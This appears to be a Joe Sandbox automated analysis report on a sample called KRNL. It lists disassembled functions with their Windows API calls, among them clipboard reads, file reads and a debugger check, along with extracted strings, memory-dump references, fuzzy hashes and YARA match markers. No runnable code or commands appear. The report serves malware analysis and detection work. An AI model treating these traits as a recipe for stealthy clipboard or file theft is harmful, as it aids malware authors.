Instruction Fuzzy Hash: DFC10EB1A083118BC714DF55D86166BB3F2FFC2354F04892DE8858B3A4FB78A954CB5A

Function 00701287 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 182COMMON

Download Yara Rule

APIs

Part of subcall function 006FC16A: GetLastError.KERNEL32(00000000,?,006FE58D), ref: 006FC16E
Part of subcall function 006FC16A: SetLastError.KERNEL32(00000000,?,?,00000028,006F8363), ref: 006FC210

GetUserDefaultLCID.KERNEL32 ref: 0070138F
IsValidCodePage.KERNEL32(00000000), ref: 007013CD
IsValidLocale.KERNEL32(?,00000001), ref: 007013E0
GetLocaleInfoW.KERNEL32(?,00001001,?,00000040,?,?,00000055,00000000,?,?,00000055,00000000), ref: 00701428
GetLocaleInfoW.KERNEL32(?,00001002,?,00000040), ref: 00701443

Strings

,Kq, xrefs: 0070133C

Memory Dump Source

Source File: 00000002.00000002.2915430184.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000002.00000002.2915416241.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915496117.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915514916.000000000071A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915531731.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915547193.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915576568.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e0000_KRNL.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID: ,Kq
API String ID: 415426439-4204376562
Opcode ID: de4140eb7039f8ae0cec745fc4d8360b22ca94e559da4a405fbfbf9fc03ac882
Instruction ID: 8742ae4081815cfe086529e807c8d4fe040462c643a15d035f11897888423dd3
Opcode Fuzzy Hash: de4140eb7039f8ae0cec745fc4d8360b22ca94e559da4a405fbfbf9fc03ac882
Instruction Fuzzy Hash: 06514EB1A00209EBDB10DFA5DC45ABEB7F8BF45700F958669F901E71D0E7789A408B61

Function 004322E0 Relevance: 9.1, APIs: 6, Instructions: 104clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 004322F0
GetClipboardData.USER32 ref: 0043230B
GlobalLock.KERNEL32 ref: 0043232A
CloseClipboard.USER32 ref: 0043243D

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID: Clipboard$CloseDataGlobalLockOpen
String ID:
API String ID: 1494355150-0
Opcode ID: 11cf1c11e8cbcabd11fca72055923e1be0a33eac30008c65e1172c4418063db5
Instruction ID: 7b7471ec2985e3dad10513ed9157fb99150564327386af1641d632e56db34497
Opcode Fuzzy Hash: 11cf1c11e8cbcabd11fca72055923e1be0a33eac30008c65e1172c4418063db5
Instruction Fuzzy Hash: 993159B150C3118FD300AF79968536FBBE0AF99314F51283EE8C686211D6BD898A975B

Function 00701A07 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,?,00000002,00000000,?,?,?,007013BD,?,00000000), ref: 00701AA0
GetLocaleInfoW.KERNEL32(?,20001004,?,00000002,00000000,?,?,?,007013BD,?,00000000), ref: 00701AC9
GetACP.KERNEL32(?,?,007013BD,?,00000000), ref: 00701ADE

Strings

OCP, xrefs: 00701A5B
ACP, xrefs: 00701A25

Memory Dump Source

Source File: 00000002.00000002.2915430184.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000002.00000002.2915416241.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915496117.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915514916.000000000071A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915531731.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915547193.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915576568.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e0000_KRNL.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: c5571135d027d6747782e181728e057ce2e3614bac7e1ea0d3e9794a7d1657ad
Instruction ID: 3caf728f46d057cb60f71af56788e373c4dbfaf0e9ebf429d7a3d06cf04c9499
Opcode Fuzzy Hash: c5571135d027d6747782e181728e057ce2e3614bac7e1ea0d3e9794a7d1657ad
Instruction Fuzzy Hash: 112186A2B02100EADB34CF58C900AD772EAEB54B54BD6C664E90AD7184F73ADD40C390

Function 0040DA8B Relevance: 7.8, Strings: 6, Instructions: 257COMMON

Download Yara Rule

Strings

"", xrefs: 0040DE61
d"P", xrefs: 0040DE49
6"", xrefs: 0040DEB1
D, xrefs: 0040DD75
p"F", xrefs: 0040DE11
"", xrefs: 0040DE91

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID:
String ID: 6""$D$d"P"$p"F"$""$""
API String ID: 0-1382292853
Opcode ID: abc874c9909978c4c67d63b3286c9fd06b2b4f2b84e92e02f925d395bc13f45d
Instruction ID: 7334df959159416c48e382d616d244ce160e02f9129f40ab737ecec1edd4b52a
Opcode Fuzzy Hash: abc874c9909978c4c67d63b3286c9fd06b2b4f2b84e92e02f925d395bc13f45d
Instruction Fuzzy Hash: 70B1E3B04083829BE728CF81C69576BBBF1FF85748F105A8DE5951B290D3F98648DF86

Function 00425770 Relevance: 7.7, Strings: 6, Instructions: 226COMMON

Download Yara Rule

Strings

M2x2, xrefs: 004259B3
}2q2, xrefs: 00425983
m2?2, xrefs: 004259AB
o2x2, xrefs: 00425993
c2o2, xrefs: 004259BB
u202, xrefs: 0042598B

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID:
String ID: M2x2$c2o2$m2?2$o2x2$u202$}2q2
API String ID: 0-1290146539
Opcode ID: 9de3aaf11f0e2ee482b38c0393ecb77c9407e30e746739f3fde1d6b151a35207
Instruction ID: 3246baa6c9dc81b657b25537a01d6a69c66a68c26ad81c28aa9a33eac08b7532
Opcode Fuzzy Hash: 9de3aaf11f0e2ee482b38c0393ecb77c9407e30e746739f3fde1d6b151a35207
Instruction Fuzzy Hash: 176142B1A08760DBD320DF15D98166BB7F1FFC1314F48892EE8855B394E7B98904CB8A

Function 006E1FB0 Relevance: 7.7, APIs: 5, Instructions: 200fileCOMMON

Download Yara Rule

APIs

Part of subcall function 006E1240: _strlen.LIBCMT ref: 006E12BA

GetFileSize.KERNEL32(00000000,00000000), ref: 006E2046
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 006E206B
CloseHandle.KERNEL32(00000000), ref: 006E207A
_strlen.LIBCMT ref: 006E20CD
CloseHandle.KERNEL32(00000000), ref: 006E21FD

Memory Dump Source

Source File: 00000002.00000002.2915430184.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000002.00000002.2915416241.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915496117.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915514916.000000000071A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915531731.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915547193.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915576568.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e0000_KRNL.jbxd

Similarity

API ID: CloseFileHandle_strlen$ReadSize
String ID:
API String ID: 1490117831-0
Opcode ID: 535cfde92e1cd479d70663943f00d6632f5ae711a3e6a98b1ab7c1061b4646bc
Instruction ID: 7d82d5c2f4889cd71774557edc6e1056f3f457f206df0b3871306cfa55cc606e
Opcode Fuzzy Hash: 535cfde92e1cd479d70663943f00d6632f5ae711a3e6a98b1ab7c1061b4646bc
Instruction Fuzzy Hash: A171D2B2C013498FCB10DFA5DC44BEEBBB6BF49310F144628E914A7391E735AA45CBA5

Function 00426990 Relevance: 7.6, Strings: 6, Instructions: 104COMMON

Download Yara Rule

Strings

MM, xrefs: 0042710C
>M5M, xrefs: 0042718D
-M M, xrefs: 004271C4
%M)M, xrefs: 00427198
4M:M, xrefs: 004271AE
)M-M, xrefs: 0042712A

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID:
String ID: %M)M$)M-M$-M M$4M:M$>M5M$MM
API String ID: 0-1618744259
Opcode ID: 26d9f920b7d13b0cf1986f7dc4a40b8815e4dcf4f67e7bb9ab91444ec8e3532c
Instruction ID: 78049ae23b19002676e268f95cda996eb32204798bfd1804e00c4afc25085f20
Opcode Fuzzy Hash: 26d9f920b7d13b0cf1986f7dc4a40b8815e4dcf4f67e7bb9ab91444ec8e3532c
Instruction Fuzzy Hash: 3441BCB061D3948AD3249F24E841BABBBB5FF81318F46482DE4C89B315E73A8445CF5B

Function 00419930 Relevance: 6.8, APIs: 2, Strings: 1, Instructions: 1513COMMON

Download Yara Rule

APIs

Part of subcall function 0043CD20: LdrInitializeThunk.NTDLL(00423382,00000002,00000014,000000FF,00000000,?,00000002,?), ref: 0043CD4E

FreeLibrary.KERNEL32(?), ref: 0041A030
FreeLibrary.KERNEL32(?), ref: 0041A0CE

Strings

Fn@n, xrefs: 00419D65

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID: FreeLibrary$InitializeThunk
String ID: Fn@n
API String ID: 764372645-2265005453
Opcode ID: 2d1d47e55f584641a642691e4c6c39e2cddd0be4ead511b4d778223cc5cbb54d
Instruction ID: 131018062a82d736fa47d298312175603f5847d79bc8a07e9cfe404f1bf231df
Opcode Fuzzy Hash: 2d1d47e55f584641a642691e4c6c39e2cddd0be4ead511b4d778223cc5cbb54d
Instruction Fuzzy Hash: 2CA223766093009FD720CF24C8807ABB7E2BFD4314F19482EE9C597351D7BAAD95878A

Function 004190D1 Relevance: 6.5, Strings: 5, Instructions: 291COMMON

Download Yara Rule

Strings

MR, xrefs: 0041926A
7S>S, xrefs: 004192C8
SS, xrefs: 00419254
FS;S, xrefs: 004190FF
LSES, xrefs: 004190F4

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID:
String ID: 7S>S$FS;S$LSES$MR$SS
API String ID: 0-2954923458
Opcode ID: 131d57b7fd51426a8d0001431d9d1c9b01e9004daf9e3171a99284bc05a8c828
Instruction ID: c7628366159036e009891614648824bad52e0519bc3dd4501f1445c0c89d208f
Opcode Fuzzy Hash: 131d57b7fd51426a8d0001431d9d1c9b01e9004daf9e3171a99284bc05a8c828
Instruction Fuzzy Hash: F0B15AB19093918BD3318F15C4A07EBF7A2AF86705F54992DD4C99B350EBB84982CB86

Function 006F9CC0 Relevance: 6.5, APIs: 4, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2915430184.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000002.00000002.2915416241.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915496117.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915514916.000000000071A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915531731.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915547193.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915576568.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e0000_KRNL.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3bc9877c2baeb9d2eefe3dc346bd414728ba2a6b644d6a7f2363c8b83004931b
Instruction ID: 24fc032901f1b22d41496aaac67efc380e69dd7f29fb06294d7f9bb03791442a
Opcode Fuzzy Hash: 3bc9877c2baeb9d2eefe3dc346bd414728ba2a6b644d6a7f2363c8b83004931b
Instruction Fuzzy Hash: D8022CB1E012199BDF14CFA8D880BEEB7B2FF49314F258269D619E7341D731AA41CB94

Function 00701FE9 Relevance: 6.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 007020D9

Memory Dump Source

Source File: 00000002.00000002.2915430184.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000002.00000002.2915416241.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915496117.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915514916.000000000071A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915531731.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915547193.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915576568.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e0000_KRNL.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 0811dc5d54dcd6e208ad59da4009390de252316427d15be2baeda51ae405b2b5
Instruction ID: b91da745e26a03ec8ed0bd7e8efe833aed5bc088ae6e1f902eb460f75323c139
Opcode Fuzzy Hash: 0811dc5d54dcd6e208ad59da4009390de252316427d15be2baeda51ae405b2b5
Instruction Fuzzy Hash: 1771047290515DEFDF21AF28DC8DAFAB7F9AB05300F1442D9E14893292DB395E868F14

Function 006EF8E9 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 006EF8F5
IsDebuggerPresent.KERNEL32 ref: 006EF9C1
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 006EF9DA
UnhandledExceptionFilter.KERNEL32(?), ref: 006EF9E4

Memory Dump Source

Source File: 00000002.00000002.2915430184.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000002.00000002.2915416241.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915496117.000000000070D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915514916.000000000071A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915531731.000000000071F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915547193.0000000000722000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2915576568.000000000076D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e0000_KRNL.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: b299b3d757efe673f12bd403e1ad15226acc2a1572084422503a80d4b76149c3
Instruction ID: 5632d1c138e7a82584e457cfc60b87353c65b2defacd1043c6c2c13a66e8f8c9
Opcode Fuzzy Hash: b299b3d757efe673f12bd403e1ad15226acc2a1572084422503a80d4b76149c3
Instruction Fuzzy Hash: C331F6B5D013199BDF61DFA5D9497CDBBB8AF08300F1081AAE44CAB290EB759A848F45

Function 00418170 Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 419COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,00000000,?), ref: 004184AC

Strings

S-#9, xrefs: 00418929, 00418975

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID: EnvironmentExpandStrings
String ID: S-#9
API String ID: 237503144-700798346
Opcode ID: e2bc158481f8dfbd2a657db23a5401f3c476d650ecf493c40db5d62b40362113
Instruction ID: 52d3a1a22797bc6ff2ef723818d6b4c880c4da0e2c4bb0917b947ec637b9ef44
Opcode Fuzzy Hash: e2bc158481f8dfbd2a657db23a5401f3c476d650ecf493c40db5d62b40362113
Instruction Fuzzy Hash: C4E1E876A046128BC724CF28C8517ABB7E2EFD4324F19892DE8C997394EF38D941C745

Function 00409570 Relevance: 5.4, Strings: 4, Instructions: 366COMMON

Download Yara Rule

Strings

pid, xrefs: 00409628
bC, xrefs: 004099A3
3BD251238DC531F1BCFD68B774EF9B7A, xrefs: 0040961C
mX, xrefs: 004095E3

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID:
String ID: 3BD251238DC531F1BCFD68B774EF9B7A$bC$mX$pid
API String ID: 0-3426212376
Opcode ID: 38a496d1901cb9fc1a1a81ae934acbfbe9411e11b166e4a8648ed1bfe5718dba
Instruction ID: 78aa410c3e571a3c71217f04774d552cfb36f3c011885ca35bd8ebc00676843d
Opcode Fuzzy Hash: 38a496d1901cb9fc1a1a81ae934acbfbe9411e11b166e4a8648ed1bfe5718dba
Instruction Fuzzy Hash: 44C125B15183118BD328CF24C8516AFBBE5FF84304F15492DE5AAEB3A1E738D904CB86

Function 00429630 Relevance: 2.9, Strings: 2, Instructions: 402COMMON

Download Yara Rule

Strings

02"4, xrefs: 004297E5
517, xrefs: 00429846

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID:
String ID: 517$02"4
API String ID: 0-4117730321
Opcode ID: 9280ced3489e90234081316888d5cbab1c25a6192fcd2380d66ea8f60e248077
Instruction ID: 788614aa283ce937e0284b5c45e1a05101e09933b0675d27cc46c1417dc3c243
Opcode Fuzzy Hash: 9280ced3489e90234081316888d5cbab1c25a6192fcd2380d66ea8f60e248077
Instruction Fuzzy Hash: D2D13475A0C360DFD3049F28E89166BB7E1AF8A314F858A2DF4C5973A1D7399C40CB4A

Function 0043DB39 Relevance: 2.7, Strings: 2, Instructions: 179COMMON

Download Yara Rule

Strings

@, xrefs: 0043DA4D
@, xrefs: 0043DB9D

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID:
String ID: @$@
API String ID: 0-149943524
Opcode ID: 5b2196727f174ea9b258481d9f67c76f8990f14b878419990b001dbcc1b4b103
Instruction ID: 482e6149b56366e601b592d2c8ef6da79fc9784322df0be9e518e1d530d1ba80
Opcode Fuzzy Hash: 5b2196727f174ea9b258481d9f67c76f8990f14b878419990b001dbcc1b4b103
Instruction Fuzzy Hash: 4C51E3B1A183208BD714CF28D96032BB6E2EFD9745F04A52DE4C597394E7399C08C78A

Function 0043E710 Relevance: 1.9, Strings: 1, Instructions: 647COMMON

Download Yara Rule

Strings

"C, xrefs: 0043EEEE

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID:
String ID: "C
API String ID: 0-2206442469
Opcode ID: 41898e06d329f9b7dcce93df1159e086aaf4499670247650b597e40a1912500f
Instruction ID: 56effb05c55d5e723ed47e9df777c39648b717dc24fdb7399af3515154e224fe
Opcode Fuzzy Hash: 41898e06d329f9b7dcce93df1159e086aaf4499670247650b597e40a1912500f
Instruction Fuzzy Hash: 8F121239A18215CFC704CF28E88026BB3F2FF8A315F0A987DD945873A1EB359955DB85

Function 0043E820 Relevance: 1.8, Strings: 1, Instructions: 567COMMON

Download Yara Rule

Strings

"C, xrefs: 0043EEEE

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID:
String ID: "C
API String ID: 0-2206442469
Opcode ID: 97ee515db7b271821da0c5f6ee7e03195be19e2c0d651d664716e8c5a31a3625
Instruction ID: 24bd7fce4cce9c11c14dc7089d7bdd62ad2ae41bb7aab5742507e38462b34f06
Opcode Fuzzy Hash: 97ee515db7b271821da0c5f6ee7e03195be19e2c0d651d664716e8c5a31a3625
Instruction Fuzzy Hash: CE021135A18211CFC714CF28E8806ABB3F2FF8A315F0A987DD945973A1EB359851DB85

Function 00416777 Relevance: 1.8, Strings: 1, Instructions: 533COMMON

Download Yara Rule

Strings

mA, xrefs: 00416C07

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID: InitializeThunk
String ID: mA
API String ID: 2994545307-377813790
Opcode ID: f9881b5a2c76e10fa2e14fc1381623fcfa37601e07420e4b32e876335f5bb1c0
Instruction ID: 39428711870aab526ad74d1bb6706073ceab97bda494de927c3493c7e305c467
Opcode Fuzzy Hash: f9881b5a2c76e10fa2e14fc1381623fcfa37601e07420e4b32e876335f5bb1c0
Instruction Fuzzy Hash: DCE199769187108BD728CF28C8503BBB7E2EFD5310F1A493DD8C6973A1DA399885CB95

Function 0043E920 Relevance: 1.7, Strings: 1, Instructions: 484COMMON

Download Yara Rule

Strings

"C, xrefs: 0043EEEE

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID:
String ID: "C
API String ID: 0-2206442469
Opcode ID: fb77efca3cbf5cf22c915da0be89c3815572e68ec3722750ab8f79a114db9d3f
Instruction ID: ce5334b28f323dc069e6442ef19ad98089a48ff52a3e4ef105bcb35b847b58c7
Opcode Fuzzy Hash: fb77efca3cbf5cf22c915da0be89c3815572e68ec3722750ab8f79a114db9d3f
Instruction Fuzzy Hash: 3FF10035A18211CFC718CF28D8906ABB3F2FB8A311F0A947DD945973A1EB35AC50DB85

Function 0043EA60 Relevance: 1.7, Strings: 1, Instructions: 476COMMON

Download Yara Rule

Strings

"C, xrefs: 0043EEEE

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID:
String ID: "C
API String ID: 0-2206442469
Opcode ID: a75888721bd5923d498735bce53f8da3f0b87054ba0c149046fbca936bc988e0
Instruction ID: 17999f29168490a76054be163b7d9b156083f59d85bc034f3f9228317ffeb93c
Opcode Fuzzy Hash: a75888721bd5923d498735bce53f8da3f0b87054ba0c149046fbca936bc988e0
Instruction Fuzzy Hash: 26E11436A08215CFD718CF29D85026BB3E2EF8A300F0A987DD986973A1EB359941DB45

Function 0043E9D0 Relevance: 1.7, Strings: 1, Instructions: 446COMMON

Download Yara Rule

Strings

"C, xrefs: 0043EEEE

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID:
String ID: "C
API String ID: 0-2206442469
Opcode ID: cba630364bba8203fdcf11e63c032526e89e4d0b176a92fde8c55d32542c480f
Instruction ID: 9f29137a07e53c7061bb74c7e8dbeff543532e97d29f2676d67eacb0b8170105
Opcode Fuzzy Hash: cba630364bba8203fdcf11e63c032526e89e4d0b176a92fde8c55d32542c480f
Instruction Fuzzy Hash: 50E1F135A18215CFCB14CF28D8806ABB3F2FB8A311F0A987DD945973A1EB359D41DB85

Function 00408E50 Relevance: 1.5, Strings: 1, Instructions: 272COMMON

Download Yara Rule

Strings

XqR, xrefs: 00408F8B

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID:
String ID: XqR
API String ID: 0-4205905425
Opcode ID: e9b549860dc5eecda24e6e66b7a3a99159d9fe7ee378efa78ee88bba9d1439d5
Instruction ID: 4862d3e840e305e59ef710783f63dda1766adffe072164391312256b8460724a
Opcode Fuzzy Hash: e9b549860dc5eecda24e6e66b7a3a99159d9fe7ee378efa78ee88bba9d1439d5
Instruction Fuzzy Hash: 5D71F33054D3858AD310DF79D0A036BFBF1AFA6340F08456DE8C5AB386D77A8909C79A

Function 00421E60 Relevance: 1.5, Strings: 1, Instructions: 269COMMON

Download Yara Rule

Strings

'', xrefs: 00421EA8

Memory Dump Source

Source File: 00000002.00000002.2915370976.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2915370976.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_KRNL.jbxd

Yara matches

Similarity

API ID:
String ID: ''
API String ID: 0-2284169615
Opcode ID: df89156451dc4e30c0006a9843085f9e270a73dd83cd9c4906fd0cc441646c2f
Instruction ID: e6068bda0526af99a2bdf8ffdafc3c168081ed94b6e207db80534ad17edd005a
Opcode Fuzzy Hash: df89156451dc4e30c0006a9843085f9e270a73dd83cd9c4906fd0cc441646c2f
Instruction Fuzzy Hash: E57111B0704310ABD7109F24DC82B7773B4EF90318F54491DFA968B2A0E7B9D904C76A

Function 004195FD Relevance: 1.4, Strings: 1, Instructions: 199COMMON

Download Yara Rule

Strings

Q R , xrefs: 00419759
